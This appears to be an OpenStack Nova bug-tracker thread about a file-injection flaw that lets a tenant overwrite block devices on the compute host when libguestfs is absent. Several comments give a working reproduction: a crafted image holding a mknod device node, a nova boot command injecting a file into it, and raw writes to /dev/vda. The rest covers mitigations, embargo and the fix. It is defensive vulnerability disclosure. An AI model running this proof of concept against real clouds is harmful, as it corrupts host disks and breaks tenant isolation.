Host data corruption through nova inject_key feature

Since this report concerns a possible security risk, an incomplete security advisory task has been added while the core security reviewers for the affected project or projects confirm the bug and discuss the scope of any vulnerability along with potential solutions.

I haven't replicated, but this looks like a real bug to me. As Garth says, though, it only affects systems without libguestfs. Note that if libguestfs is installed but not working this will give an error rather than falling back to being vulnerable. This would mean, for example, that no version of OpenStack shipped by Red Hat is affected, as libguestfs is a dependency of Nova compute in our packaging.

The impact is that you can use the inject files capability to write to arbitrary block/character devices on the compute host.

I believe mounting with nodev would fix the problem. It also might be a good idea if append_file, replace_file, and read_file checked that their targets were regular files before returning data.

More generally, I don't think that the design of VFSLocalFS is a good idea. With VFSLocalFS we're essentially implementing our own in-house containerisation. This domain is fraught with security holes even in projects which are entirely devoted to it. We're unlikely to do a good job over time in a backwater bit of Nova on a fallback path. Lets leverage another project. We could even engage the libguestfs project to support other backends more directly if that was considered important. It's also worth noting that libguestfs is usable today on systems without kvm, and given that our usage is essentially exclusively io, the lack of hardware-accelerated virt shouldn't be a big deal.

I've confirmed that this is exploitable after talking to Matt, notes below using an up to date devstack env :

- libguestfs not installed on this Fedora 22 host.
- use_cow_images = False
- force_config_drive = False
- inject_partition = 0

- Customise an image to include a special block file pointing to a host device :

$ virt-customize -a cirros-0.3.4-x86_64-disk.img --run-command 'mknod host-device b 252 0'
[ 0.0] Examining the guest ...
[ 14.4] Setting a random seed
[ 14.4] Running: mknod host-device b 252 0
[ 14.5] Finishing off

- Write a marker to the host device before starting an instance :

root@host $ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 55G 0 disk
|-sda1 8:1 0 500M 0 part /boot
|-sda2 8:2 0 615M 0 part [SWAP]
`-sda3 8:3 0 53.9G 0 part /
vda 252:0 0 1G 0 disk
root@host $ echo 'Before starting an instance' > /dev/vda
root@host $ strings /dev/vda
Before starting an instance

- Upload the image and start an instance, injecting a file into the special block file previously created :

$ glance image-create --name cirros-fake-dev --file cirros-0.3.4-x86_64-disk.img --disk-format qcow2 --container-format bare
[..]
$ cat test-file
After running an instance
$ nova boot --image cirros-fake-dev --file /host-device=test-file --flavor 1 test-inject
[..]

- Confirm this is seen in the host :

root@host $ strings /dev/vda
After running an instance

Many thank Lee for the investigation. I've confirmed the OSSA task and raised its priority accordingly. Obviously write access to raw device nodes has fairly serious security implications.

Incidentally, I don't believe that use_cow_images=False is a requirement for this vulnerability. I believe that any backend is vulnerable regardless of how it was mounted, as long as libguestfs is not in use.

Right this should also be possible when using nbd once the race identified in the original description and again in bug#1484586 is addressed. Also, to correct c#3 I was using inject_partition = 1 here not 0.

I've tested and confirmed that using nodev as a mount option works around this issue for now but I'm fully behind the idea of dropping VFSLocalFS and focusing more on VFSGuestFS.

I have not tested, but from looking at the code it looks like xenapi uses VFSLocalFS as the default.

In virt/xenapi/vm_utils:

53 from nova.virt.disk import api as disk
54 from nova.virt.disk.vfs import localfs as vfsimpl
[..]
1711 def preconfigure_instance(session, instance, vdi_ref, network_info):
[..]
1721 mount_required = key or net or metadata
1722 if not mount_required:
1723 return
1724
1725 with vdi_attached_here(session, vdi_ref, read_only=False) as dev:
1726 _mounted_processing(dev, key, net, metadata)
[..]
2455 def _mounted_processing(device, key, net, metadata):
[..]
2461 err = _mount_filesystem(dev_path, tmpdir)
2462 if not err:
2463 try:
2464 # This try block ensures that the umount occurs
2465 if not agent.find_guest_agent(tmpdir):
2466 vfs = vfsimpl.VFSLocalFS(imgfile=None,
2467 imgfmt=None,
2468 imgdir=tmpdir)
2469 LOG.info(_LI('Manipulating interface files directly'))
2470 # for xenapi, we don't 'inject' admin_password here,
2471 # it's handled at instance startup time, nor do we
2472 # support injecting arbitrary files here.
2473 disk.inject_data_into_fs(vfs,
2474 key, net, metadata, None, None)

I'm not sure how reachable that is and I didn't look at agent.find_guest_agent() or just try and run it (no xen). But it certainly looks to be reachable from that.

Forgot this (which is also lacking nodev):

2444 def _mount_filesystem(dev_path, dir):
2445 """mounts the device specified by dev_path in dir."""
2446 try:
2447 _out, err = utils.execute('mount',
2448 '-t', 'ext2,ext3,ext4,reiserfs',
2449 dev_path, dir, run_as_root=True)

Is there someone with a xenapi setup working on this ?

I don't have a xenapi setup but would be willing to patch this if others are able to test.

It's also perfectly reasonable to subscribe Xen subject matter experts from outside the nova-coresec team to assist on a Xen-specific integration such as this.

@Tony, any progress ? Is there someone from nova team we could subscribe to investigate the xenapi impact ?

I though that pretty much any time you mount a filesystem directly you are exposed to potential security problems. I wonder if the right option here is to just remove the non libguestfs fallback. It seems completely reasonable to just require that one known safe path.

I strongly agree with Sean, having a privileged process on the hypervisor host mount an untrusted filesystem is asking for trouble. New execution paths through the kernel from filesystem handling bugs are found regularly and are a recipe for disaster.

I would also favour removing the fallback in favour of libguestfs, although we should be certain that we're comfortable that either libguestfs is available everywhere we need it to be, or that we're comfortable with injection not working everywhere. libguestfs has a fairly fearsome dependency list.

We're also mounting filesystems in other places, btw. IIRC our libvirt lxc backend does this. nodev is presumably not an option in that case, but surely lxc has a defence against that. I have no idea what it is, though.

@nova-coresec, any progess on that issue ?

I just did a quick runthrough of the code for xen and I'm not sure if this is exploitable, but I don't fully understand the original bug.

The xen code from Garth above is used only for injecting keypair and network data. And it is only run if the 'flat_injected' config option is set to True(default False). This is a nova-network option.

The provided replication scenario from Lee would not work here because user injected_files are done via the xenbus communication channel and do not rely on mounting anything to the host. The files that are injected via a mounted filesystem are network data and the public_key keypair data, with no user control over which files are written.

I'm going to ping Bob Ball and ask him to take a look.

As in the comments above, I believe XenAPI is also vulnerable and needs to add -o nodev to vm_utils._mount_filesystem.

The VFS code only gets executed if the Rackspace agent is not installed, but as that is also removable by the guest, that's no protection.

As XenAPI uses the LocalFileImage model, it doesn't seem to use the mount provided by vfs.

Will attempt a repro + fix for XenAPI

After an attempted repro, I'm not convinced that XenAPI is vulnerable:

stack@DevStackOSDomU:~$ grep flat_injected /etc/nova/nova.conf
flat_injected = True

stack@DevStackOSDomU:~$ lsblk | grep xvdb
xvdb 202:16 0 1G 0 disk

stack@DevStackOSDomU:~$ nova boot --image cirros-0.3.4-x86_64-disk --flavor 1 NodevFix
stack@DevStackOSDomU:~$ nova list | grep NodevFix
| 23db106a-321d-4033-8368-cc6d91d3d307 | NodevFix | ACTIVE | - | Running | private=10.0.0.2 |

stack@DevStackOSDomU:~$ ssh cirros@10.0.0.2 sudo mknod /host-device b 202 16
stack@DevStackOSDomU:~$ ssh cirros@10.0.0.2 sudo sync

stack@DevStackOSDomU:~$ nova image-create 23db106a-321d-4033-8368-cc6d91d3d307 ImageWithDev

stack@DevStackOSDomU:~$ echo "Before running an instance" | sudo tee /dev/xvdb
stack@DevStackOSDomU:~$ echo "After running an instance" > test-file

stack@DevStackOSDomU:~$ nova boot --file /host-device=test-file --image 508c35dd-dc18-40d5-82f1-58b0180520a8 --flavor 1 NodevFix_exploit
stack@DevStackOSDomU:~$ strings /dev/xvdb
Before running an instance

stack@DevStackOSDomU:~$ nova list | grep NodevFix_exploit
| ba73ef12-a60a-4e91-b4a0-3046db5131ba | NodevFix_exploit | ACTIVE | - | Running | private=10.0.0.6 |

stack@DevStackOSDomU:~$ ssh cirros@10.0.0.6 sudo cat /host-device
After running an instance
stack@DevStackOSDomU:~$ ssh cirros@10.0.0.6 sudo ls -altr /host-device
-r--r----- 1 root root 26 May 31 15:13 /host-device

And just to check what happened without the file injection:
stack@DevStackOSDomU:~$ nova boot --image 508c35dd-dc18-40d5-82f1-58b0180520a8 --flavor 1 NodevFix_NoInject
stack@DevStackOSDomU:~$ nova list | grep NodevFix_NoInject
| fc3f1a45-6048-4abf-82a5-5b9b352c59fe | NodevFix_NoInject | ACTIVE | - | Running | private=10.0.0.8 |
stack@DevStackOSDomU:~$ ssh cirros@10.0.0.8 sudo ls -altr /host-device
brw------- 1 root root 202, 16 May 31 15:06 /host-device

As such, it *looks* like the way XenAPI uses vfs will replace the mknod device with the requested file?

Correction - this is config drive doing the injection; injected_files are only referenced in config_drive and agent code paths.
Both of these occur at run time, in the guest context, so can't have access to the compute's devices.

I'm now happy that XenAPI is not vulnerable.

This is the last time this was on a public list - http://lists.openstack.org/pipermail/openstack-dev/2014-September/046967.html

I really think we should prevent that entire path triggering if we are on libvirt kvm/qemu, and not allow for the fallback.

Poking around to figure out if this is even an option with current gate config here - https://review.openstack.org/#/c/324720/

There are other reasons that there are potential security issues. The filesystem is a glance image, so it is created by the user. Which means that it needs to be considered harmful all on it's own - https://lwn.net/Articles/369072/

According to above comments, it seems like we can safely remove the embargo and make this bug public. I propose we do this by the end of the week if nobody objects.

And if we can drop the non libguestfs code path on stable branches, we can still issue an OSSA.

+1 for removing the fall back to local mount vs adding nodev. Even without this bug, mounting an untrusted local filesystem exposes a ton of sensitive kernel/ring0 attack-surface on the compute host.

Hard error from a missing/broken dependency is much better security design choice than falling back to unsafe behavior IMO.

I am also not convinced Xen is not vulnerable.
The disk.inject_data_into_fs call in vm_utils.py looks to be reachable with the fs mounted on the host as a fall-back if agent.find_guest_agent doesn't return True, which should happen straight away if CONF.xenserver.disable_agent is set:

381 def find_guest_agent(base_dir):
385 if CONF.xenserver.disable_agent:
386 return False

Can we retry the reproduction with this set?

I tested without an agent, but even with an agent arbitrary file injection is not possible with that route, only with an agent or with config drive.

I've subscribed ossg-coresec for some input on moving this to public before the fixes are available as per: https://security.openstack.org/vmt-process.html#embargo-exceptions

In general, it looks like this would be good to bring to the public so that we can be sure all the possible dangerous code paths are considered. Based on the 2014 thread (from sean in comment #23) and the discussion here, it looks like the the general view is removing the fall-back code.

Lets make this public by the end of this week unless there are objections from the team working on the fixes or the ossg-coresec group.

It seems like there is some impact that can be prevented by using 'nodev' in the short term. Can we patch this issue and then open up further? Just thinking aloud...

What's the critical path - the worst case scenario and impact currently?

Just spoke with sdague and we'll push forward with the patch in https://review.openstack.org/#/c/324720/ -- I'll followup to address the pep8 issues and we can get that merged/work with stable groups to accept it for backport.

This indicates to me (and based on the ML topic linked above) we can open this up to the public. Just waiting for OSSG ack before doing so.

From http://lists.openstack.org/pipermail/openstack-dev/2014-September/046764.html it sounds like the fallback to localfs is even possible with ubuntu 14.04, which is what we CI test with in OpenStack before Newton (and still in Newton for some jobs, but I think that's changing during the release so jobs are using ubuntu 16.04).

That thread also talks about enforcing no fallback to localfs only for certain virt_types (kvm/qemu), but not for example lxc - so what's proposed regarding removal? Total removal as https://review.openstack.org/#/c/324720/ proposes? Or only partial depending on configuration?

The thread also mentioned some linux distros like FreeBSD that don't support libguestfs - I don't know if there have been improvements since then that libguestfs is now supported on newer versions of FreeBSD or not.

Bug 1413142 has some history on libguestfs in ubuntu 14.04 CI testing.

I guess I'd be OK with saying we don't support file injection on any cloud that doesn't have libguestfs on it's computes (using FreeBSD for example, or older ubuntu). But does this also mean resize/migration won't work with how VFS is used here?

https://github.com/openstack/nova/blob/5f70f1977ddcd5965d4908a20ae9380756885a08/nova/virt/disk/api.py#L225

Also, a (perhaps pedantic) correction, FreeBSD is a Unix derivative and not at all a "linux distro."

/me hangs head in shame

I think making this public is fine. The review is out there so ....

I do worry about pulling out a "feature" like that with deprecation but Matt and Sean seem okay with it so I'm probably missing something.

I'm not opposed to making this public for a variety of reasons (including limited scope of affected configurations, complexity and noisiness of exploiting, and relatively low impact), but hesitate to see the public existence of https://review.openstack.org/324720 as a reason since it doesn't actually call itself out as mitigating a vulnerability nor does it mention this bug report.

@Travis, it seems like the nodev patch isn't good enough since the non-libguestfs foldback is still vulnerable to ring 0 attack when malicious filesystem are mounted on compute host. Moreover the limited scope of this issue probably doesn't warrant an embargoed disclosure.

Thus I'd like to make this bug public because the removal of non-libguestfs use-case could use public review. Comments or objections are most welcome.

Tristan - sounds good, thanks for recap.

I've removed the critical importance on the OSSA task for now as it seems the scope of this vulnerability isn't as broad as was initially thought. I'm happy to revisit it, but given it's been 6 months at this point it at least doesn't seem critical to anyone.

It seems like both ossg-coresec and nova-coresec are ok with opening this bug report. If nobody objects, lets make this bug public by the end of the week.

As there were no further objections after a lengthy review period under embargo, I'm switching this bug to Public Security.

It's still unclear to me on the backport suitability of the proposed fix for stable branches, so I've set the security advisory status back to incomplete while that's confirmed.

Matt and Sean, is there a particular reason why https://review.openstack.org/#/c/324720/ is now abandoned? Then what other options do we have here?

@nova-coresec: any progress?

https://review.openstack.org/#/c/324720/ was revived. We're also going to deprecate file injection in the compute API in queens but on a new microversion, so we'll still honor injecting files using libguestfs with older microversions.

https://review.openstack.org/#/c/509013/

So is it possible to workaround the xen use-case? Otherwise, this is likely a class B2 type of bug according to VMT taxonomy ( https://security.openstack.org/vmt-process.html#incident-report-taxonomy ) and it could use a Security Node instead of an Advisory, regardless of the libguestfs fix.

Change abandoned by Sean Dague (<email address hidden>) on branch: master
Review: https://review.openstack.org/324720

I've restored the patch https://review.openstack.org/324720 as it seems like a viable solution. Since then we also removed Xen support so we have one less complication.

The fix merged to master https://review.opendev.org/c/openstack/nova/+/324720

Thanks for following up on this longstanding report. Given the fix is unlikely to be backported to supported stable branches, the VMT considers such reports class B1 ( https://security.openstack.org/vmt-process.html#incident-report-taxonomy ) so there's no call for issuing an advisory.

This issue was fixed in the openstack/nova 23.0.0.0rc1 release candidate.

Fix proposed to branch: unmaintained/victoria
Review: https://review.opendev.org/c/openstack/nova/+/914207